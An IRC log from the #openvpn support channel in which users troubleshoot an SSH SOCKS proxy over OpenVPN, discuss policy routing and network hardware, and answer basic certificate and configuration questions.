15:37 < Lars_G> astra1993: Ok I dont know how to explain it, so that you understand. sorry
15:38 < hjohnson> I get that you're trying to just use SSh hairpinned on itself as a socks proxy
15:38 < pekster> Lars_G: The bind address is optional, it looks like
15:38 < hjohnson> ie client and server on the same machine, so it is a socks proxy
15:38 < Lars_G> pekster: What worries me is the routing error of nc on my client. Specially so since my openvpn rotue is up, and icmp at least works.
15:38 < astra1993> Look you have an OpenVPN server which has an SSH server too. We call this node A.
15:38 < astra1993> Now first the client connects to the OpenVPN server.
15:39 < hjohnson> just seem slike more hassle than it's worth given that there are small compact socks proxies that are probably easier to setup. :)
15:39 < pekster> astra1993: Just stop. He's using one host as both a client and server in separate PIDs for the sole purpose of expsoing a SOCKS5 port to external clients
15:39 < astra1993> Then you issue the ssh command from the client.
15:39 < Lars_G> hjohnson: Yes, I think you're right
15:40 < pekster> astra1993: Please stop discussing the ssh command unless you have something constructive to add. VPN client -> SOCKS5 (run by ssh) -> sshd -> Internet
15:40 -!- dazo is now known as dazo_afk
15:40  * hjohnson has pulled some outrageous hacks with hairpinned connections under Cisco IOS
15:40 < Lars_G> hjohnson: But first I'll setup a dummy nc daemon on the server, same port, and tcp too, to see if communication DOES work from client to server
15:40 < astra1993> If the client and the server are the same, then it'll end in a loop.
15:40 < Lars_G> See if it's a routing problem, or ssh's problem.
15:40 < Lars_G> astra1993: the SSH client and server are the same.
15:40 < Lars_G> astra1993: the socks port opened by the ssh client, and the client to that port are different systems
15:41 -!- michaelhart_ [~michaelha@69-165-175-193.dsl.teksavvy.com] has joined #openvpn
15:41 < astra1993> It'll not work. Believe me.
15:41 < hjohnson> Lars_G: also, by default, I don't know if the ssh socks proxy allows connections from the outside world, or just from localhost
15:41 -!- michaelhart [~michaelha@162.209.1.130] has quit [Ping timeout: 264 seconds]
15:41 -!- michaelhart_ is now known as michaelhart
15:41 < Lars_G> astra1993: why
15:41 < astra1993> Because it'll get stuck in an endless loop.
15:41 < hjohnson> astra1993: no, it won't
15:41 < Lars_G> hjohnson: Well, I thought the ip bind would determine that but it's probable you're right.
15:42 < astra1993> The SSH server is not the SOCKS server.
15:42 < hjohnson> Lars_G: though in any event, the other option would be to just drop the use of openvpn entirely and just run an ssh client on the near end, and tunnel to your server through ssh
15:42 < hjohnson> (the efficiency and security levels will be about the same.
15:43 < astra1993> If the client and the server are the same, I still doubt if it works.
15:43 < Lars_G> astra1993: It'll work.
15:43 < pekster> astra1993: No. The SSH *client* is. Since Lars_G does understand what he's doing and you don't, I'm not sure why you continue to argue about it. Once again, I'm asking you to stop offering advice for which you are incorrect and wasting everyone's time
15:44 < hjohnson> Lars_G: trying to get a connection out of the US for US netflix? :P
15:44 < Lars_G> hjohnson: Thats.... secondary, but part of it...
15:44 < hjohnson> Lars_G: (been there, done that, got the t-shirt)
15:44 < hjohnson> Lars_G: I do it using multiple routing tables under linux
15:44 < hjohnson> and then sort between the routing tables based on fwmark
15:44 < Lars_G> and I have local netflix, I want more the hulu, btu beyoudn that, I also want to skip filtering on corporate proxy for a few devices
15:45 < hjohnson> so I can use iptables to classify packets onto each of the routing tables,
15:45 < Lars_G> Oh man, working with marks in iptables? you're seriously crazier than I am :D
15:45 < hjohnson> (so for example, all the traffic from my AppleTV goes out over OpenVPN and winds up in the US
15:45 < Lars_G> But it sounds like a nice solution.
15:45 < hjohnson> it isn't actually that hard to setup
15:45 < Lars_G> Nope, setting nc as a daemon, can't connect either :/
15:45 < Lars_G> Unless....
15:46 < hjohnson> Lars_G: also, since with my VPN provider I have to nat the OpenVPN traffic
15:46 < hjohnson> (so it's actually double-natted, which is fugly as hell, but works)
15:46 < hjohnson> my little alix board effectively has 3 internet connections
15:46 < pekster> Lars_G: Check what nc is binding to, then check your firewalls. Provided your VPN is up, it's gotta be one or the other if nc -> nc over the VPN doesn't work
15:46 < Lars_G> Yeah that's troublesome for some protocols too, like h.323 :D
15:46 < hjohnson> my DSL ISP 9which carryes IPTV, and 15mbps), my cable ISP (50mbps), and the OpenVPN tunnel
15:47 < Lars_G> pekster: Yes.
15:47 < Lars_G> Duh.... iptables... sigh
15:47 < hjohnson> i've got it setup such that 80% of new connections are assigned to the Cable ISP, the remainder to DSL, except for usenet which goes out the cable only, and traffic from my AppleTV which goes out the VPN only
15:47 < hjohnson> oh, and the IPTV only goes out the DSL connection
15:47 < hjohnson> so much jiggery pokery
15:48 < hjohnson> but works pretty well
15:49 < hjohnson> I'm pretty proud of the hack. :)
15:50 < pekster> You ever run into issues with websites where a 2nd socket is opened via a differnet uplink and it refuses to pass content to a service you've logged into already?
15:50 < hjohnson> pekster: only on a couple of really badly coded sites
15:50 < hjohnson> pekster: given the way that modern sites are done (with lots of servers, reverse proxies, etc...) they don't do their session tracking based on client IP anyhow.
15:50 < Lars_G> It was a firewall rule.
15:50 < Lars_G> thanks pekster
15:51 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
15:51 < pekster> Right, modern sites generally are using cookies, although many of those don't actually secure them...
15:51 < pekster> I was just curious how often you ran into issues
15:51 < Lars_G> hjohnson: Sometimes the reverse proxy will marry the source ip to a single server....
15:51 < Lars_G> But personally I've not seen this yet, only read of it once
15:51 < hjohnson> only one I've run into is a) things like my unlimited usenet account, which only allows one host to connect at a time
15:52 < hjohnson> (so it's bound permanently to the cable modem)
15:52 -!- raidz is now known as DewlanceTM
15:52 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
15:52 < hjohnson> and mods.dk, which is a site with technical documentation and the like on amateur radio gear, and is really badly designed
15:52 < hjohnson> otherwise I've never encountered an issue
15:52 < pekster> hjohnson: If you wanted to dig deeper, some clever ipset hash:ip could probably help
15:52 -!- DewlanceTM is now known as Dewlance
15:52 < hjohnson> pekster: yeah, but my intent is to actually laod balance on a per-connection basis
15:53 < Lars_G> pekster: I've also seen some sites that marry session to ip, to avoid "spoofing", and others that don't because either they don't know what that is, or they realize there are many ways to spoof source address
15:53 < hjohnson> rather than per server
15:53 -!- Dewlance is now known as raidz
15:53 < hjohnson> also, with the advent of CGN, you can never be sure that the source IP is reliable or stable anyhow
15:53 < Lars_G> hjohnson: Considering how varied setups are out there, server wise, maybe balancing by endpoints wouldn't be such a bad idea.
15:54 < pekster> Right. It would still balance, but override the 80/20% split when an existing connection was opened to that IP. May or may not be ideal for the session splitting, but it would fix issues with concurrent connections appearing to be from different hosts
15:54 < hjohnson> pekster: like I said though, I can't recall any site that has given me problems
15:55 < hjohnson> i'm th eonly user (this is my home connection)
15:55 -!- raidz is now known as DEWLANCEISSCAM
15:55 < Lars_G> Thanks for all the help
15:55 -!- DEWLANCEISSCAM is now known as DEWLANCEISDISHON
15:55 < Lars_G> I can't believe I missed something so basic :D
15:55 -!- DEWLANCEISDISHON is now known as raidz
15:55 < hjohnson> Lars_G: we all do it
15:56 < hjohnson> Lars_G: i'd still look at a regular socks proxy rather than manipulating ssh though... no reason to burn CPU cycles on the crypto if you don't have to.
15:56 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
15:56 < hjohnson> but then I'm an Engineer, I don't like wasting computing resources. :P
15:56 -!- YamakasY2 [~Thunderbi@g9179.upc-g.chello.nl] has joined #openvpn
15:56 < Lars_G> hjohnson: You're right
15:57 < Lars_G> Then you should code your stuff in assembly :D
15:57 < Lars_G> ;)
15:57 < astra1993> Lars_G, just a little question. Were you trying to run a SOCKS server on the server using SSH??
15:57 < Lars_G> Well, I agree with you we've been sloppy with resources lately. though
15:57 < hjohnson> naw, modern compilers can do a better job at optimizing code than I can.
15:57 -!- raidz is now known as DEWLANCEISCAM
15:57 -!- novaflash is now known as dewIance
15:57 < Lars_G> astra1993: Yes.
15:57 < astra1993> OMG.
15:57  * Lars_G sighs
15:57 < astra1993> I completely misunderstood what you were talking about and I'm sorry.
15:58 < hjohnson> you guys will love the hack I pulled for a primary and backup internet link at the non-profit I help out
15:58 < Lars_G> astra1993: It happens. It's ok.
15:58 < hjohnson> unfortunately, both internet links are on 192.168.0.x, and both cases the next hop is 192.168.0.1
15:58 < astra1993> Why don't you use a socks server like dante-server??
15:58 < Lars_G> hjohnson: What do you normally balance with? linux and ip?
15:58 -!- dewIance is now known as novaflash
15:58 < hjohnson> Lars_G: in this case, yeah, linux and ip
15:58 < Lars_G> astra1993: I wanted a quick "easy" setup. :(
15:58 -!- DEWLANCEISCAM is now known as DewIance
15:58 < hjohnson> anyhow, I've got a Cisco 3825 as the main router there
15:59 < hjohnson> primary link doesn' tneed NAT, secondary link is a hughesnet satellite link,w hich is a piece of shit but works.
15:59 < hjohnson> so the hughesnet is running in a VRF, and I have a variable routing table which if the mai link goes down will route the traffic to the vrf.
15:59 < hjohnson> to do that, i have two loopback interfaces, and a GRE tunnel between the two loopback interfaces
15:59 < hjohnson> it makes baby jesus cry, but it works.
16:00 < Lars_G> hjohnson: You should've been here to help me explain a couple guys why sticking in a d-link home balancer before their firewall/proxy wouldn't work too well for incomming connections
16:00 < hjohnson> Lars_G: hehe
16:00 -!- michaelhart [~michaelha@69-165-175-193.dsl.teksavvy.com] has quit [Quit: michaelhart]
16:00 < hjohnson> I'm proud of myself, I got this non profit to ditch all their d-link crap and other soho shit
16:00 -!- DewIance is now known as Dewlance
16:00 < hjohnson> supplied them with good quaity used cisco gear, and suddenly things are infinitely more stable.
16:00 < Lars_G> :(
16:00 -!- Dewlance [~raidz@openvpn/corp/admin/andrew] has quit [Disconnected by services]
16:01 < Lars_G> I'm limited by law and situation to what kind of stuff I can buy at work.
16:01 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
16:01 -!- mode/#openvpn [+o raidz] by ChanServ
16:01 < Lars_G> My only cisco is my 1700 router.
16:01 < astra1993> I simulated your setup environment Lars_G. It works perfectly for me. I think your problem is the firewall.
16:01 < Lars_G> I have one 3com superstack switch, and a couple hodge podge managed switches, i've not been able yet to either make the whole network managed, or to move from cascade to star topology
16:01 < hjohnson> yeah, I've now got 2x 2970G switches, 1x 4948 layer 3 switch (doing inter-vlan routing, and core switch), the 3825 (QoS router, and backup link)
16:02 < Lars_G> astra1993: Yes, it was one iptables rule fudging with me.
16:02 < hjohnson> and 6x cisco 2940s
16:02 < Lars_G> hjohnson: I'm using ip aliases yet for my WLAN, I can't go vlan until my whole net is managed
16:02  * Lars_G weeps
16:02 < hjohnson> I love the 2940s great little switches, totally silent (no fans), fully managed, and no wall wart
16:02 < Lars_G> I make do for WLAN with tp-link routers with openwrt shoved in them
16:02 < hjohnson> Lars_G: one word: unifi
16:03 < hjohnson> cheap, reliable, fantastic bang/buck
16:03 < Lars_G> hjohnson: Oh my god, don't you think I crave engenius like mad? I do... I cant
16:03 < Lars_G> Or was unify ubiquity's? equally nice.
16:03 < Lars_G> unifi
16:03 -!- lirime [~liriel@185.21.216.3] has quit [Ping timeout: 256 seconds]
16:03 < hjohnson> we're running full WPA Enterprise, linked against our active directory domain
16:03 < Lars_G> 802.1x?
16:03 < hjohnson> the OpenVPN server is linked against Active Directory
16:03 < hjohnson> yep
16:03 < hjohnson> it works a treat
16:04 < Lars_G> And we're trying to move into VoIP next year
16:04 < Lars_G> so far, the best I can get for gateways seems to be grandstream
16:04 < hjohnson> Lars_G: that's my next project
16:04 < hjohnson> Lars_G: our communications provider is a rural telecom.
16:04 < hjohnson> My headend router sits 6' away from his Nortel DMS-10
16:04 < Lars_G> Our provider is the largest provider in the country, only one that has land lines.
16:05 < hjohnson> i think I'm goign to try and talk him into handing me a PRI at the head end, and just run everything through the cisco stuff
16:05 < Lars_G> But we don't get an E1, we get separate FXS.
16:05 < hjohnson> install an AIM-CUE in the rotuer in the village, deploy some used phones.
16:05 < hjohnson> \o?
16:05 < Lars_G> So I need 24 FXOs. I'll overshoot to 32 FXOs.
16:05 < hjohnson> that's a shitload of copper
16:05 < Lars_G> Heh...
16:05 < Lars_G> wanna cry?
16:06 < Lars_G> One second....
16:06 < hjohnson> here's what will make you cry: we have a gigabit ethernet ring running around town... works great, multiple VLANs, full redundancy, properly configured spannign-tree etc.
16:06 < hjohnson> our link to the outside world? main connection: 1mbps/300kbps dedicated satellite.  Backup: Hughesnet
16:07 < Lars_G> :(
16:07 < Lars_G> At least work we have 2048/2048 Frame Relay over HDSL.
16:07 < Lars_G> for 85 machines, four server
16:08 < Lars_G> And......
16:08 < Lars_G> Slow upload... bear with me.
16:09 < hjohnson> Lars_G: that 1mbps/300kbps is also worth $4500/mo
16:09 < Lars_G> o.o
16:09 < Lars_G> satellite
16:09 < Lars_G> it's always like that
16:09 < hjohnson> (we don't pay for it, it's funded out of the FCC's Universal Service Fund)
16:09 < Lars_G> yeah....
16:09 < hjohnson> Lars_G: yeah, I'm in the satcoms biz, so I spend most of my time telling the folks there how much it really costs and they should be glad with what they have.
16:12  * Lars_G nods
16:12 < Lars_G> Aha
16:15 < Lars_G> hjohnson: Anyhow my trouble with wlan is different
16:16 < Lars_G> hjohnson: I have only 1 closed wlan ap, and it's not vital. But we're a cultural institution... the router in the hall, at last count was serving around 120 clients at once.
16:16 < Lars_G> Consumer routers are not made to handle that
16:16 < hjohnson> lol, no
16:17 < hjohnson> spread out over my 17 APs, I only se 46 devices connected right now. :)
16:18 < hjohnson> (though we have 24 buildings ranging in size from houses to 40 room dormatories
16:18 < hjohnson> to a gymnasium
16:19 < Lars_G> hjohnson: Here you can see my fxb: https://plus.google.com/photos/117110102650544449497/albums/5700869398035493585
16:19 < hjohnson> well, at least it's BIX
16:20 < Lars_G> Yeah... we're in latinamerica....
16:20 -!- YamakasY2 [~Thunderbi@g9179.upc-g.chello.nl] has quit [Ping timeout: 252 seconds]
16:20 < Lars_G> do you know what it was like getting a BIX punchdown here? I still havent been able to find a test clip!
16:20 < hjohnson> heh
16:20 < Lars_G> The norm here (de-facto) is 110
16:20 < hjohnson> no block 66?
16:20 -!- Cybert1nus is now known as Cybertinus
16:20 < Lars_G> No, it's rare to see 66 anywhere
16:20 < Lars_G> 98% is 110
16:21 < Lars_G> And, for some reason every single block in our building is BIX
16:21 < Lars_G> :/
16:21 < hjohnson> back in the day we were running 100baseT through block-66
16:21 < Lars_G> I admit it, bix is sturdy, and confortable... but...
16:23 < Lars_G> those loops on the right, each goes to a floor.
16:23 < Lars_G> Where they arrive at a shared access porthole... and then wired to the end. Nice wiring, but unworkable without tools.
16:23 < Lars_G> hjohnson: And there's a plan to redesign the whole building and redistribute everyone.
16:23 < Lars_G> you see why I desperatedly want to go voip
16:24 < Lars_G> But, I'm too OT. sorry
16:29 < hjohnson> Lars_G: you're in desperate need of a PRI :p
16:32 -!- kubbing_ [~kubbing@ip-89-176-242-191.net.upcbroadband.cz] has joined #openvpn
16:32 -!- YamakasY2 [~Thunderbi@g9179.upc-g.chello.nl] has joined #openvpn
16:34 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
16:40 < astra1993> Lars_G: This is a dante socks server config I made for you. You can get dante from www.inet.no
16:40 < astra1993> http://pastebay.net/1233851
16:40 < astra1993> This is much better than the SSH solution.
16:42 < Lars_G> pretty nice. thanks astra1993
16:42 < astra1993> You're welcome.
16:42 < astra1993> :)
16:42 -!- YamakasY2 [~Thunderbi@g9179.upc-g.chello.nl] has quit [Ping timeout: 248 seconds]
16:44 < Lars_G> Why do you choose dante?
16:45 < astra1993> It is a famous one.
16:45 < astra1993> And it is a complete implementation too.
16:48 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
16:53 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
16:53 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
17:01 <@krzee> !pki
17:01 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
17:01 <@vpnHelper> signed specially as a server (see !servercert)
17:02 -!- Lars_G [~Lars@unaffiliated/lars-g/x-000001] has quit [Quit: leaving]
17:08 -!- astra1993 [~astra@178.131.228.12] has quit [Quit: Leaving]
17:13 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:19 < dvl> pekster:  now on a different network. No vpn timeouts.  Go figure.  ;)
17:35 < wjtaylor> what should I do with the csr files?
17:37 -!- Neal|ZNC is now known as Neal_
17:38 < pekster> wjtaylor: You can safely delete the csr (that's the certificate request) after it has been sent to the CA for signing and you have the resulting cert back
17:38 < pekster> You can always generate another CSR from the private key if you need to renew it
17:39 < pekster> (although easyrsa doesn't have a frontend command to do that. I should add that to my list of improvements for the new codebase)
17:40 < wjtaylor> pekster: the easy rsa is certainly easy to generate. What about managing the keys? Can I revoke them and how do I know which ones are active?
17:40 < EugeneKay> !xca
17:40 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
17:40 < EugeneKay> Point, click, certify.
17:41 < wjtaylor> is this another package?
17:42 < wjtaylor> got it
17:44 < wjtaylor> for the server keys, what dir are they supposed to be in?
17:46 < EugeneKay> Wherever you like
17:46 < EugeneKay> Typical locations are /etc/openvpn/keys/ and /etc/pki/vpn/
17:53 < wjtaylor> ?? where do I tell ovpn where to look?
17:56 < pekster> That's covered in the !howto at http://openvpn.net/index.php/open-source/documentation/howto.html#config
17:56 <@vpnHelper> Title: HOWTO (at openvpn.net)
17:57 < EugeneKay> The default is to look in `pwd`, which is whatever you start it in
17:57 < EugeneKay> If you're starting with an init script, this /might/ be /etc/openvpn/, but it's best to use the --cd option or specify full paths.
18:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:08 -!- raidz is now known as raidz_away
18:09 -!- raidz_away is now known as raidz
18:13 <@krzee> unless the init script already chroot'ed you and now your full path would be /etc/openvpn/etc/openvpn, i hate init scripts that do more than you tell them to
18:28 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Read error: Connection reset by peer]
18:42 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
18:46 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
18:48 -!- anonymuse00 [~intransit@cpe-68-173-27-87.nyc.res.rr.com] has joined #openvpn
19:06 < wjtaylor> is the how to I'm reading covering static keys?
19:11 -!- lirime [~liriel@185.21.216.161] has joined #openvpn
19:11 < pekster> There's a static key mini-howto linked early in the official !howto
19:15 < wjtaylor> ok. I just want to make sure I'm modding the right config
19:16 < wjtaylor> any drawbacks to tcp? I noticed udp was the default.
19:16 < pekster> !tcp
19:16 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
19:21 < wjtaylor> lol I should just try !option
19:26 < wjtaylor> #1 above says TCP over TCP is bad. OK. If I run the tunnel over udp, will my TCP connections still have all the TCP features? I assume so, if I'm TCPing over UDP.
19:27 < pekster> Does a car stop having wheels when it drives over a paved vs gravel road?
19:27 < pekster> A VPN is the road: the packet is the car
19:29 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
19:34 < wjtaylor> makes sense.
19:34 < wjtaylor> !blowfish
19:34 < wjtaylor> !cipher
19:34 < wjtaylor> lol
19:36 < EugeneKay> So where's my McDonald's cheeseburger come in
19:39 -!- Voss [~Voss@unaffiliated/voss] has joined #openvpn
19:48 -!- raidz is now known as raidz_away
20:15 -!- defswork_ [~andy@141.0.50.105] has quit [Ping timeout: 252 seconds]
20:32 -!- defswork_ [~andy@141.0.50.105] has joined #openvpn
20:35 < funyun> can anyone help me get openvpn to change my IP? i use the same configs as i do on my mac with TunnelBlick but it doesn't change my IP on my Windows Computer Machine..
20:38 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Read error: Connection reset by peer]
20:42 < EugeneKay> !redirect
20:42 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
20:42 <@vpnHelper> http://ircpimps.org/redirect.png
20:43 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
20:45 < pekster> Thought we covered this yesterday. OpenVPN won't ever "change" your IP; at best it *add* another one for you
20:45 < pekster> That said, EugeneKay was nice enough to link you the relevant steps/procedure to do what you wanted. That's at:
20:45 < pekster> !redirect
20:45 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
20:45 <@vpnHelper> http://ircpimps.org/redirect.png
20:53 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
20:57 -!- kubbing_ [~kubbing@ip-89-176-242-191.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
21:04 -!- master_o1_master [~master_of@p4FF24A27.dip0.t-ipconnect.de] has joined #openvpn
21:07 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
21:08 -!- master_of_master [~master_of@p4FF2403E.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
21:27 -!- Aster [~Sarah@april-fools/ninth/aster] has quit [Ping timeout: 256 seconds]
21:30 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
21:30 -!- Sarah [~Sarah@astersoftworks.com] has joined #openvpn
21:37 -!- funyun_ [~funyun@usloft1594.serverloft.com] has joined #openvpn
21:41 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Ping timeout: 276 seconds]
21:45 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Read error: Operation timed out]
21:45 -!- DrFoo [~DrFoo@c-24-34-23-78.hsd1.ma.comcast.net] has quit [Quit: Leaving]
21:46 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
21:48 -!- funyun_ [~funyun@usloft1594.serverloft.com] has quit [Ping timeout: 248 seconds]
21:49 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
21:55 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
21:55 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
22:06 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
22:10 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
23:34 -!- iliv [~iliv@109.162.124.185] has joined #openvpn
23:44 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Read error: Connection reset by peer]
23:54 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
23:56 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
23:57 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
--- Day changed Thu May 23 2013
00:11 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Read error: Connection reset by peer]
00:18 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
00:23 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
01:10 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
01:11 -!- Devastator [~devas@177.18.198.101] has joined #openvpn
01:15 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 245 seconds]
01:30 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
01:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:30 -!- EugeneKay is now known as Eugene
01:36 -!- xbanux1 [~xbanux@115.254.75.113] has joined #openvpn
01:37 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 240 seconds]
01:37 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
01:38 -!- cy1 [~user@46.249.33.103] has joined #openvpn
01:40 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
01:41 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
01:42 < cy1> I have an interface that takes a certain range of IP addresses, deals w/ them in a fun way. I want to have that range of IP addresses on a remote computer go through a VPN tunnel to that interface, such that return packets manage to return to the remote computer, not the one actually running this funny interface.
01:43 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 256 seconds]
01:43 < cy1> I'm not sure if the "ethernet bridging" thing is that...
01:44 < cy1> neh, if the remote computer doesn't even have a return address though... sigh I don't know
01:44 -!- cy1 [~user@46.249.33.103] has left #openvpn ["ISON NickServ"]
01:55 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:59 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
02:17 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:18 -!- tore_ [~tore@login.redpill-linpro.com] has joined #openvpn
02:19 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
02:19 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
02:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
02:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:50 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds]
02:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
02:50 -!- mode/#openvpn [+o plaisthos] by ChanServ
02:52 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
03:25 <@krzee> !tcp
03:25 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
03:26 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 252 seconds]
03:39 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
03:39 <@krzee> !repo
03:39 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
03:46 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
03:46 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
03:46 -!- mode/#openvpn [+o krzee] by ChanServ
03:50 <@krzee> !ssl-admin
03:50 <@vpnHelper> "ssl-admin" is (#1) if you use freebsd, it is in ports or (#2) svn co https://www.secure-computing.net/svn/trunk/ssl-admin to grab it from svn or (#3) A perl script for managing SSL certificates (being a CA). Makes a good replacement for easy-rsa
04:05 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:11 < Eugene> !beer
04:11 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
04:11 < Eugene> Nom
04:17 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
04:49 -!- dazo_afk is now known as dazo
04:50 <@krzee> !hmac
04:50 <@vpnHelper> "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS. or (#2) openvpn --genkey --secret ta.key to make the tls
04:50 <@vpnHelper> static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
05:07 -!- xTz [~xTz@cpc7-belc7-2-0-cust42.2-1.cable.virginmedia.com] has joined #openvpn
05:10 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
06:10 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
06:37 -!- troj [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 252 seconds]
06:43 -!- troj [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
07:03 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:08 < kisom> How large is the --tls-auth HMAC anyways?
07:08 < kisom> I don't think it's mentioned in the manual
07:25 < cnf> kisom:  about the size of a pebble
07:30 < rob0> but that varies on big-endian vs. little-endian systems
07:48 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 276 seconds]
07:58 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has joined #openvpn
